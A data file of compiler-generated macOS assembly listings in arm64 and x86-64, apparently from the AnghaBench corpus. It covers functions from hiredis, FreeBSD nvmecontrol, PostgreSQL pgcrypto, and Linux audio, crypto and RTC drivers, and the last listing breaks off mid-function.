.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movl $0, -4(%rbp) movl %edi, -8(%rbp) movq %rsi, -16(%rbp) movq _SIGPIPE@GOTPCREL(%rip), %rax movl (%rax), %edi movq _SIG_IGN@GOTPCREL(%rip), %rax movl (%rax), %esi callq _signal leaq L_.str(%rip), %rdi movl $6379, %esi ## imm = 0x18EB callq _redisAsyncConnect movq %rax, -24(%rbp) movq -24(%rbp), %rax cmpq $0, 8(%rax) je LBB0_2 ## %bb.1: movq -24(%rbp), %rax movq (%rax), %rsi leaq L_.str.1(%rip), %rdi callq _printf movl $1, -4(%rbp) jmp LBB0_3 LBB0_2: movl $64, %edi callq _aeCreateEventLoop movl %eax, %ecx movq _loop@GOTPCREL(%rip), %rax movl %ecx, (%rax) movq _loop@GOTPCREL(%rip), %rax movl (%rax), %edi movq -24(%rbp), %rsi callq _redisAeAttach movq -24(%rbp), %rdi movq _connectCallback@GOTPCREL(%rip), %rax movl (%rax), %esi callq _redisAsyncSetConnectCallback movq -24(%rbp), %rdi movq _disconnectCallback@GOTPCREL(%rip), %rax movl (%rax), %esi callq _redisAsyncSetDisconnectCallback movq -24(%rbp), %rax movq %rax, -40(%rbp) ## 8-byte Spill movq -16(%rbp), %rax movl -8(%rbp), %ecx subl $1, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rax movq %rax, -32(%rbp) ## 8-byte Spill movq -16(%rbp), %rax movl -8(%rbp), %ecx subl $1, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rdi callq _strlen movq -40(%rbp), %rdi ## 8-byte Reload movq -32(%rbp), %r8 ## 8-byte Reload movl %eax, %r9d xorl %esi, %esi xorl %eax, %eax movl %eax, %edx leaq L_.str.2(%rip), %rcx movb $0, %al callq _redisAsyncCommand movq -24(%rbp), %rdi movq _getCallback@GOTPCREL(%rip), %rax movl (%rax), %esi leaq L_.str.3(%rip), %rdx leaq L_.str.4(%rip), %rcx movb $0, %al callq _redisAsyncCommand movq _loop@GOTPCREL(%rip), %rax movl (%rax), %edi callq _aeMain movl $0, -4(%rbp) LBB0_3: movl -4(%rbp), %eax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _SIGPIPE,4,2 ## @SIGPIPE .comm _SIG_IGN,4,2 ## @SIG_IGN .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "127.0.0.1" L_.str.1: ## @.str.1 .asciz "Error: %s\n" .comm _loop,4,2 ## @loop .comm _connectCallback,4,2 ## @connectCallback .comm _disconnectCallback,4,2 ## @disconnectCallback L_.str.2: ## @.str.2 .asciz "SET key %b" .comm _getCallback,4,2 ## @getCallback L_.str.3: ## @.str.3 .asciz "end-1" L_.str.4: ## @.str.4 .asciz "GET key" .subsections_via_symbols
AnghaBench/redis/deps/hiredis/examples/extr_example-ae.c_main.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function get_log_buffer _get_log_buffer: ; @get_log_buffer .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-4] ldur w0, [x29, #-4] bl _malloc mov x8, x0 str x8, [sp] subs x8, x0, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldur w2, [x29, #-4] mov w0, #1 adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF bl _errx b LBB0_2 LBB0_2: ldr x0, [sp] ldur w2, [x29, #-4] mov w1, #0 bl _memset ldr x0, [sp] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "unable to malloc %u bytes" .no_dead_strip _get_log_buffer .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function get_log_buffer _get_log_buffer: ## @get_log_buffer .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl %edi, -4(%rbp) movl -4(%rbp), %edi callq _malloc movq %rax, -16(%rbp) cmpq $0, %rax jne LBB0_2 ## %bb.1: movl -4(%rbp), %edx movl $1, %edi leaq L_.str(%rip), %rsi callq _errx LBB0_2: movq -16(%rbp), %rdi movl -4(%rbp), %edx xorl %esi, %esi callq _memset movq -16(%rbp), %rax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "unable to malloc %u bytes" .no_dead_strip _get_log_buffer .subsections_via_symbols
AnghaBench/freebsd/sbin/nvmecontrol/extr_logpage.c_get_log_buffer.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _pgp_armor_decode ; -- Begin function pgp_armor_decode .p2align 2 _pgp_armor_decode: ; @pgp_armor_decode .cfi_startproc ; %bb.0: sub sp, sp, #112 .cfi_def_cfa_offset 112 stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur w1, [x29, #-12] stur x2, [x29, #-24] ldur x8, [x29, #-8] sub x2, x29, #32 stur x8, [x29, #-32] ldur x8, [x29, #-8] ldursw x9, [x29, #-12] add x8, x8, x9 stur x8, [x29, #-40] ; kill: def $x8 killed $xzr str xzr, [sp, #24] adrp x8, _PXE_PGP_CORRUPT_ARMOR@GOTPAGE ldr x8, [x8, _PXE_PGP_CORRUPT_ARMOR@GOTPAGEOFF] ldr w8, [x8] str w8, [sp, #8] ldur x0, [x29, #-8] ldur x1, [x29, #-40] mov w3, #0 bl _find_header str w0, [sp, #16] ldr w8, [sp, #16] subs w8, w8, #0 cset w8, gt tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: b LBB0_30 LBB0_2: ldrsw x9, [sp, #16] ldur x8, [x29, #-32] add x8, x8, x9 stur x8, [x29, #-32] ldur x0, [x29, #-32] ldur x1, [x29, #-40] add x2, sp, #32 mov w3, #1 bl _find_header str w0, [sp, #16] ldr w8, [sp, #16] subs w8, w8, #0 cset w8, gt tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: b LBB0_30 LBB0_4: b LBB0_5 LBB0_5: ; =>This Inner Loop Header: Depth=1 ldur x8, [x29, #-32] ldr x9, [sp, #32] subs x8, x8, x9 cset w8, hs mov w9, #0 str w9, [sp, #4] ; 4-byte Folded Spill tbnz w8, #0, LBB0_8 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_5 Depth=1 ldur x8, [x29, #-32] ldrsb w8, [x8] subs w8, w8, #10 cset w8, eq mov w9, #0 str w9, [sp, #4] ; 4-byte Folded Spill tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: ; in Loop: Header=BB0_5 Depth=1 ldur x8, [x29, #-32] ldrsb w8, [x8] subs w8, w8, #13 cset w8, ne str w8, [sp, #4] ; 4-byte Folded Spill b LBB0_8 LBB0_8: ; in Loop: Header=BB0_5 Depth=1 ldr w8, [sp, #4] ; 4-byte Folded Reload tbz w8, #0, LBB0_12 b LBB0_9 LBB0_9: ; in Loop: Header=BB0_5 Depth=1 ldur x0, [x29, #-32] ldr x8, [sp, #32] ldur x9, [x29, #-32] subs x8, x8, x9 mov x2, x8 mov w1, #10 bl _memchr stur x0, [x29, #-32] ldur x8, [x29, #-32] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_11 b LBB0_10 LBB0_10: b LBB0_30 LBB0_11: ; in Loop: Header=BB0_5 Depth=1 ldur x8, [x29, #-32] add x8, x8, #1 stur x8, [x29, #-32] b LBB0_5 LBB0_12: ldur x8, [x29, #-32] str x8, [sp, #40] ldr x8, [sp, #32] stur x8, [x29, #-32] b LBB0_13 LBB0_13: ; =>This Inner Loop Header: Depth=1 ldur x8, [x29, #-32] ldr x9, [sp, #40] subs x8, x8, x9 cset w8, lo tbnz w8, #0, LBB0_18 b LBB0_14 LBB0_14: ; in Loop: Header=BB0_13 Depth=1 ldur x8, [x29, #-32] ldrsb w8, [x8] subs w8, w8, #61 cset w8, ne tbnz w8, #0, LBB0_16 b LBB0_15 LBB0_15: ldur x8, [x29, #-32] subs x8, x8, #1 str x8, [sp, #24] b LBB0_18 LBB0_16: ; in Loop: Header=BB0_13 Depth=1 b LBB0_17 LBB0_17: ; in Loop: Header=BB0_13 Depth=1 ldur x8, [x29, #-32] subs x8, x8, #1 stur x8, [x29, #-32] b LBB0_13 LBB0_18: ldr x8, [sp, #24] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_20 b LBB0_19 LBB0_19: b LBB0_30 LBB0_20: ldur x8, [x29, #-32] add x0, x8, #1 mov w1, #4 add x2, sp, #20 bl _pg_base64_decode subs w8, w0, #3 cset w8, eq tbnz w8, #0, LBB0_22 b LBB0_21 LBB0_21: b LBB0_30 LBB0_22: ldrsb x9, [sp, #20] ldrsb x8, [sp, #21] lsl x8, x8, #8 add x8, x8, x9, lsl #16 ldrsb x9, [sp, #22] add x8, x8, x9 str x8, [sp, #48] ldur w0, [x29, #-12] bl _pg_base64_dec_len mov x8, x0 str w8, [sp, #12] ldur x0, [x29, #-24] ldr w1, [sp, #12] bl _enlargeStringInfo ldr x0, [sp, #40] ldr x8, [sp, #24] ldr x9, [sp, #40] subs x8, x8, x9 mov x1, x8 ldur x8, [x29, #-24] ldr x2, [x8, #8] bl _pg_base64_decode str w0, [sp, #8] ldr w8, [sp, #8] ldr w9, [sp, #12] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB0_24 b LBB0_23 LBB0_23: adrp x8, _FATAL@GOTPAGE ldr x8, [x8, _FATAL@GOTPAGEOFF] ldr w0, [x8] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF bl _elog b LBB0_24 LBB0_24: ldr w8, [sp, #8] subs w8, w8, #0 cset w8, lt tbnz w8, #0, LBB0_29 b LBB0_25 LBB0_25: ldur x8, [x29, #-24] ldr x0, [x8, #8] ldr w1, [sp, #8] bl _crc24 ldr x8, [sp, #48] subs x8, x0, x8 cset w8, ne tbnz w8, #0, LBB0_27 b LBB0_26 LBB0_26: ldr w10, [sp, #8] ldur x9, [x29, #-24] ldr w8, [x9] add w8, w8, w10 str w8, [x9] b LBB0_28 LBB0_27: adrp x8, _PXE_PGP_CORRUPT_ARMOR@GOTPAGE ldr x8, [x8, _PXE_PGP_CORRUPT_ARMOR@GOTPAGEOFF] ldr w8, [x8] str w8, [sp, #8] b LBB0_28 LBB0_28: b LBB0_29 LBB0_29: b LBB0_30 LBB0_30: ldr w0, [sp, #8] ldp x29, x30, [sp, #96] ; 16-byte Folded Reload add sp, sp, #112 ret .cfi_endproc ; -- End function .comm _PXE_PGP_CORRUPT_ARMOR,4,2 ; @PXE_PGP_CORRUPT_ARMOR .comm _FATAL,4,2 ; @FATAL .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "overflow - decode estimate too small" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _pgp_armor_decode ## -- Begin function pgp_armor_decode .p2align 4, 0x90 _pgp_armor_decode: ## @pgp_armor_decode .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $96, %rsp movq %rdi, -8(%rbp) movl %esi, -12(%rbp) movq %rdx, -24(%rbp) movq -8(%rbp), %rax movq %rax, -32(%rbp) movq -8(%rbp), %rax movslq -12(%rbp), %rcx addq %rcx, %rax movq %rax, -40(%rbp) movq $0, -72(%rbp) movq _PXE_PGP_CORRUPT_ARMOR@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -88(%rbp) movq -8(%rbp), %rdi movq -40(%rbp), %rsi leaq -32(%rbp), %rdx xorl %ecx, %ecx callq _find_header movl %eax, -80(%rbp) cmpl $0, -80(%rbp) jg LBB0_2 ## %bb.1: jmp LBB0_30 LBB0_2: movl -80(%rbp), %ecx movq -32(%rbp), %rax movslq %ecx, %rcx addq %rcx, %rax movq %rax, -32(%rbp) movq -32(%rbp), %rdi movq -40(%rbp), %rsi leaq -64(%rbp), %rdx movl $1, %ecx callq _find_header movl %eax, -80(%rbp) cmpl $0, -80(%rbp) jg LBB0_4 ## %bb.3: jmp LBB0_30 LBB0_4: jmp LBB0_5 LBB0_5: ## =>This Inner Loop Header: Depth=1 movq -32(%rbp), %rcx xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpq -64(%rbp), %rcx movb %al, -89(%rbp) ## 1-byte Spill jae LBB0_8 ## %bb.6: ## in Loop: Header=BB0_5 Depth=1 movq -32(%rbp), %rax movsbl (%rax), %ecx xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $10, %ecx movb %al, -89(%rbp) ## 1-byte Spill je LBB0_8 ## %bb.7: ## in Loop: Header=BB0_5 Depth=1 movq -32(%rbp), %rax movsbl (%rax), %eax cmpl $13, %eax setne %al movb %al, -89(%rbp) ## 1-byte Spill LBB0_8: ## in Loop: Header=BB0_5 Depth=1 movb -89(%rbp), %al ## 1-byte Reload testb $1, %al jne LBB0_9 jmp LBB0_12 LBB0_9: ## in Loop: Header=BB0_5 Depth=1 movq -32(%rbp), %rdi movq -64(%rbp), %rax movq -32(%rbp), %rcx subq %rcx, %rax movl %eax, %edx movl $10, %esi callq _memchr movq %rax, -32(%rbp) cmpq $0, -32(%rbp) jne LBB0_11 ## %bb.10: jmp LBB0_30 LBB0_11: ## in Loop: Header=BB0_5 Depth=1 movq -32(%rbp), %rax addq $1, %rax movq %rax, -32(%rbp) jmp LBB0_5 LBB0_12: movq -32(%rbp), %rax movq %rax, -56(%rbp) movq -64(%rbp), %rax movq %rax, -32(%rbp) LBB0_13: ## =>This Inner Loop Header: Depth=1 movq -32(%rbp), %rax cmpq -56(%rbp), %rax jb LBB0_18 ## %bb.14: ## in Loop: Header=BB0_13 Depth=1 movq -32(%rbp), %rax movsbl (%rax), %eax cmpl $61, %eax jne LBB0_16 ## %bb.15: movq -32(%rbp), %rax addq $-1, %rax movq %rax, -72(%rbp) jmp LBB0_18 LBB0_16: ## in Loop: Header=BB0_13 Depth=1 jmp LBB0_17 LBB0_17: ## in Loop: Header=BB0_13 Depth=1 movq -32(%rbp), %rax addq $-1, %rax movq %rax, -32(%rbp) jmp LBB0_13 LBB0_18: cmpq $0, -72(%rbp) jne LBB0_20 ## %bb.19: jmp LBB0_30 LBB0_20: movq -32(%rbp), %rdi addq $1, %rdi leaq -76(%rbp), %rdx movl $4, %esi callq _pg_base64_decode cmpl $3, %eax je LBB0_22 ## %bb.21: jmp LBB0_30 LBB0_22: movsbq -76(%rbp), %rax shlq $16, %rax movsbq -75(%rbp), %rcx shlq $8, %rcx addq %rcx, %rax movsbq -74(%rbp), %rcx addq %rcx, %rax movq %rax, -48(%rbp) movl -12(%rbp), %edi callq _pg_base64_dec_len ## kill: def $eax killed $eax killed $rax movl %eax, -84(%rbp) movq -24(%rbp), %rdi movl -84(%rbp), %esi callq _enlargeStringInfo movq -56(%rbp), %rdi movq -72(%rbp), %rax movq -56(%rbp), %rcx subq %rcx, %rax movl %eax, %esi movq -24(%rbp), %rax movq 8(%rax), %rdx callq _pg_base64_decode movl %eax, -88(%rbp) movl -88(%rbp), %eax cmpl -84(%rbp), %eax jle LBB0_24 ## %bb.23: movq _FATAL@GOTPCREL(%rip), %rax movl (%rax), %edi leaq L_.str(%rip), %rsi callq _elog LBB0_24: cmpl $0, -88(%rbp) jl LBB0_29 ## %bb.25: movq -24(%rbp), %rax movq 8(%rax), %rdi movl -88(%rbp), %esi callq _crc24 cmpq -48(%rbp), %rax jne LBB0_27 ## %bb.26: movl -88(%rbp), %ecx movq -24(%rbp), %rax addl (%rax), %ecx movl %ecx, (%rax) jmp LBB0_28 LBB0_27: movq _PXE_PGP_CORRUPT_ARMOR@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -88(%rbp) LBB0_28: jmp LBB0_29 LBB0_29: jmp LBB0_30 LBB0_30: movl -88(%rbp), %eax addq $96, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _PXE_PGP_CORRUPT_ARMOR,4,2 ## @PXE_PGP_CORRUPT_ARMOR .comm _FATAL,4,2 ## @FATAL .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "overflow - decode estimate too small" .subsections_via_symbols
AnghaBench/postgres/contrib/pgcrypto/extr_pgp-armor.c_pgp_armor_decode.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _adau1761_probe ; -- Begin function adau1761_probe .p2align 2 _adau1761_probe: ; @adau1761_probe .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-16] stur x1, [x29, #-24] stur w2, [x29, #-28] str x3, [sp, #24] ldur w8, [x29, #-28] adrp x9, _ADAU1361@GOTPAGE ldr x9, [x9, _ADAU1361@GOTPAGEOFF] ldr w9, [x9] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: adrp x8, _adau1361_dai_driver@GOTPAGE ldr x8, [x8, _adau1361_dai_driver@GOTPAGEOFF] str x8, [sp, #16] ; kill: def $x8 killed $xzr str xzr, [sp, #8] b LBB0_3 LBB0_2: adrp x8, _adau1761_dai_driver@GOTPAGE ldr x8, [x8, _adau1761_dai_driver@GOTPAGEOFF] str x8, [sp, #16] adrp x8, _ADAU1761_FIRMWARE@GOTPAGE ldr x8, [x8, _ADAU1761_FIRMWARE@GOTPAGEOFF] ldr x8, [x8] str x8, [sp, #8] b LBB0_3 LBB0_3: ldur x0, [x29, #-16] ldur x1, [x29, #-24] ldur w2, [x29, #-28] ldr x3, [sp, #24] ldr x4, [sp, #8] bl _adau17x1_probe str w0, [sp, #4] ldr w8, [sp, #4] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: ldr w8, [sp, #4] stur w8, [x29, #-4] b LBB0_6 LBB0_5: ldur x0, [x29, #-24] mov w1, #1 str w1, [sp] ; 4-byte Folded Spill bl _regcache_cache_only ldr w3, [sp] ; 4-byte Folded Reload ldur x0, [x29, #-16] ldr x2, [sp, #16] adrp x1, _adau1761_component_driver@GOTPAGE ldr x1, [x1, _adau1761_component_driver@GOTPAGEOFF] bl _devm_snd_soc_register_component stur w0, [x29, #-4] b LBB0_6 LBB0_6: ldur w0, [x29, #-4] ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .comm _ADAU1361,4,2 ; @ADAU1361 .comm _adau1361_dai_driver,4,2 ; @adau1361_dai_driver .comm _adau1761_dai_driver,4,2 ; @adau1761_dai_driver .comm _ADAU1761_FIRMWARE,8,3 ; @ADAU1761_FIRMWARE .comm _adau1761_component_driver,4,2 ; @adau1761_component_driver .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _adau1761_probe ## -- Begin function adau1761_probe .p2align 4, 0x90 _adau1761_probe: ## @adau1761_probe .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $64, %rsp movq %rdi, -16(%rbp) movq %rsi, -24(%rbp) movl %edx, -28(%rbp) movq %rcx, -40(%rbp) movl -28(%rbp), %eax movq _ADAU1361@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jne LBB0_2 ## %bb.1: movq _adau1361_dai_driver@GOTPCREL(%rip), %rax movq %rax, -48(%rbp) movq $0, -56(%rbp) jmp LBB0_3 LBB0_2: movq _adau1761_dai_driver@GOTPCREL(%rip), %rax movq %rax, -48(%rbp) movq _ADAU1761_FIRMWARE@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -56(%rbp) LBB0_3: movq -16(%rbp), %rdi movq -24(%rbp), %rsi movl -28(%rbp), %edx movq -40(%rbp), %rcx movq -56(%rbp), %r8 callq _adau17x1_probe movl %eax, -60(%rbp) cmpl $0, -60(%rbp) je LBB0_5 ## %bb.4: movl -60(%rbp), %eax movl %eax, -4(%rbp) jmp LBB0_6 LBB0_5: movq -24(%rbp), %rdi movl $1, %esi callq _regcache_cache_only movq -16(%rbp), %rdi movq -48(%rbp), %rdx movq _adau1761_component_driver@GOTPCREL(%rip), %rsi movl $1, %ecx callq _devm_snd_soc_register_component movl %eax, -4(%rbp) LBB0_6: movl -4(%rbp), %eax addq $64, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _ADAU1361,4,2 ## @ADAU1361 .comm _adau1361_dai_driver,4,2 ## @adau1361_dai_driver .comm _adau1761_dai_driver,4,2 ## @adau1761_dai_driver .comm _ADAU1761_FIRMWARE,8,3 ## @ADAU1761_FIRMWARE .comm _adau1761_component_driver,4,2 ## @adau1761_component_driver .subsections_via_symbols
AnghaBench/linux/sound/soc/codecs/extr_adau1761.c_adau1761_probe.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function __get_gzip_head_size ___get_gzip_head_size: ; @__get_gzip_head_size .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] ldr x8, [sp, #8] adrp x9, _GZIP_HEAD_FLG_SHIFT@GOTPAGE ldr x9, [x9, _GZIP_HEAD_FLG_SHIFT@GOTPAGEOFF] ldrsw x9, [x9] ldr w8, [x8, x9, lsl #2] str w8, [sp, #4] adrp x8, _GZIP_HEAD_FEXTRA_SHIFT@GOTPAGE ldr x8, [x8, _GZIP_HEAD_FEXTRA_SHIFT@GOTPAGEOFF] ldr w8, [x8] str w8, [sp] ldr w8, [sp, #4] adrp x9, _GZIP_HEAD_FEXTRA_BIT@GOTPAGE ldr x9, [x9, _GZIP_HEAD_FEXTRA_BIT@GOTPAGEOFF] ldr w9, [x9] ands w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr x8, [sp, #8] ldrsw x9, [sp] add x0, x8, x9, lsl #2 bl _get_extra_field_size ldr w8, [sp] add w8, w8, w0 str w8, [sp] b LBB0_2 LBB0_2: ldr w8, [sp, #4] adrp x9, _GZIP_HEAD_FNAME_BIT@GOTPAGE ldr x9, [x9, _GZIP_HEAD_FNAME_BIT@GOTPAGEOFF] ldr w9, [x9] ands w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ldr x8, [sp, #8] ldrsw x9, [sp] add x0, x8, x9, lsl #2 bl _get_name_field_size ldr w8, [sp] add w8, w8, w0 str w8, [sp] b LBB0_4 LBB0_4: ldr w8, [sp, #4] adrp x9, _GZIP_HEAD_FCOMMENT_BIT@GOTPAGE ldr x9, [x9, _GZIP_HEAD_FCOMMENT_BIT@GOTPAGEOFF] ldr w9, [x9] ands w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_6 b LBB0_5 LBB0_5: ldr x8, [sp, #8] ldrsw x9, [sp] add x0, x8, x9, lsl #2 bl _get_comment_field_size ldr w8, [sp] add w8, w8, w0 str w8, [sp] b LBB0_6 LBB0_6: ldr w8, [sp, #4] adrp x9, _GZIP_HEAD_FHCRC_BIT@GOTPAGE ldr x9, [x9, _GZIP_HEAD_FHCRC_BIT@GOTPAGEOFF] ldr w9, [x9] ands w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: adrp x8, _GZIP_HEAD_FHCRC_SIZE@GOTPAGE ldr x8, [x8, _GZIP_HEAD_FHCRC_SIZE@GOTPAGEOFF] ldr w9, [x8] ldr w8, [sp] add w8, w8, w9 str w8, [sp] b LBB0_8 LBB0_8: ldr w0, [sp] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .comm _GZIP_HEAD_FLG_SHIFT,4,2 ; @GZIP_HEAD_FLG_SHIFT .comm _GZIP_HEAD_FEXTRA_SHIFT,4,2 ; @GZIP_HEAD_FEXTRA_SHIFT .comm _GZIP_HEAD_FEXTRA_BIT,4,2 ; @GZIP_HEAD_FEXTRA_BIT .comm _GZIP_HEAD_FNAME_BIT,4,2 ; @GZIP_HEAD_FNAME_BIT .comm _GZIP_HEAD_FCOMMENT_BIT,4,2 ; @GZIP_HEAD_FCOMMENT_BIT .comm _GZIP_HEAD_FHCRC_BIT,4,2 ; @GZIP_HEAD_FHCRC_BIT .comm _GZIP_HEAD_FHCRC_SIZE,4,2 ; @GZIP_HEAD_FHCRC_SIZE .no_dead_strip ___get_gzip_head_size .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function __get_gzip_head_size ___get_gzip_head_size: ## @__get_gzip_head_size .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rax movq _GZIP_HEAD_FLG_SHIFT@GOTPCREL(%rip), %rcx movslq (%rcx), %rcx movl (%rax,%rcx,4), %eax movl %eax, -12(%rbp) movq _GZIP_HEAD_FEXTRA_SHIFT@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -16(%rbp) movl -12(%rbp), %eax movq _GZIP_HEAD_FEXTRA_BIT@GOTPCREL(%rip), %rcx andl (%rcx), %eax cmpl $0, %eax je LBB0_2 ## %bb.1: movq -8(%rbp), %rdi movslq -16(%rbp), %rax shlq $2, %rax addq %rax, %rdi callq _get_extra_field_size addl -16(%rbp), %eax movl %eax, -16(%rbp) LBB0_2: movl -12(%rbp), %eax movq _GZIP_HEAD_FNAME_BIT@GOTPCREL(%rip), %rcx andl (%rcx), %eax cmpl $0, %eax je LBB0_4 ## %bb.3: movq -8(%rbp), %rdi movslq -16(%rbp), %rax shlq $2, %rax addq %rax, %rdi callq _get_name_field_size addl -16(%rbp), %eax movl %eax, -16(%rbp) LBB0_4: movl -12(%rbp), %eax movq _GZIP_HEAD_FCOMMENT_BIT@GOTPCREL(%rip), %rcx andl (%rcx), %eax cmpl $0, %eax je LBB0_6 ## %bb.5: movq -8(%rbp), %rdi movslq -16(%rbp), %rax shlq $2, %rax addq %rax, %rdi callq _get_comment_field_size addl -16(%rbp), %eax movl %eax, -16(%rbp) LBB0_6: movl -12(%rbp), %eax movq _GZIP_HEAD_FHCRC_BIT@GOTPCREL(%rip), %rcx andl (%rcx), %eax cmpl $0, %eax je LBB0_8 ## %bb.7: movq _GZIP_HEAD_FHCRC_SIZE@GOTPCREL(%rip), %rax movl (%rax), %eax addl -16(%rbp), %eax movl %eax, -16(%rbp) LBB0_8: movl -16(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _GZIP_HEAD_FLG_SHIFT,4,2 ## @GZIP_HEAD_FLG_SHIFT .comm _GZIP_HEAD_FEXTRA_SHIFT,4,2 ## @GZIP_HEAD_FEXTRA_SHIFT .comm _GZIP_HEAD_FEXTRA_BIT,4,2 ## @GZIP_HEAD_FEXTRA_BIT .comm _GZIP_HEAD_FNAME_BIT,4,2 ## @GZIP_HEAD_FNAME_BIT .comm _GZIP_HEAD_FCOMMENT_BIT,4,2 ## @GZIP_HEAD_FCOMMENT_BIT .comm _GZIP_HEAD_FHCRC_BIT,4,2 ## @GZIP_HEAD_FHCRC_BIT .comm _GZIP_HEAD_FHCRC_SIZE,4,2 ## @GZIP_HEAD_FHCRC_SIZE .no_dead_strip ___get_gzip_head_size .subsections_via_symbols
AnghaBench/linux/drivers/crypto/hisilicon/zip/extr_zip_crypto.c___get_gzip_head_size.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function ds3232_set_alarm _ds3232_set_alarm: ; @ds3232_set_alarm .cfi_startproc ; %bb.0: sub sp, sp, #112 .cfi_def_cfa_offset 112 stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _DS3232_REG_CR@GOTPAGE ldr x8, [x8, _DS3232_REG_CR@GOTPAGEOFF] str x8, [sp, #16] ; 8-byte Folded Spill adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] stur x0, [x29, #-40] str x1, [sp, #48] ldur x0, [x29, #-40] bl _dev_get_drvdata str x0, [sp, #40] ldr x8, [sp, #40] ldr x8, [x8] subs x8, x8, #0 cset w8, gt tbnz w8, #0, LBB0_2 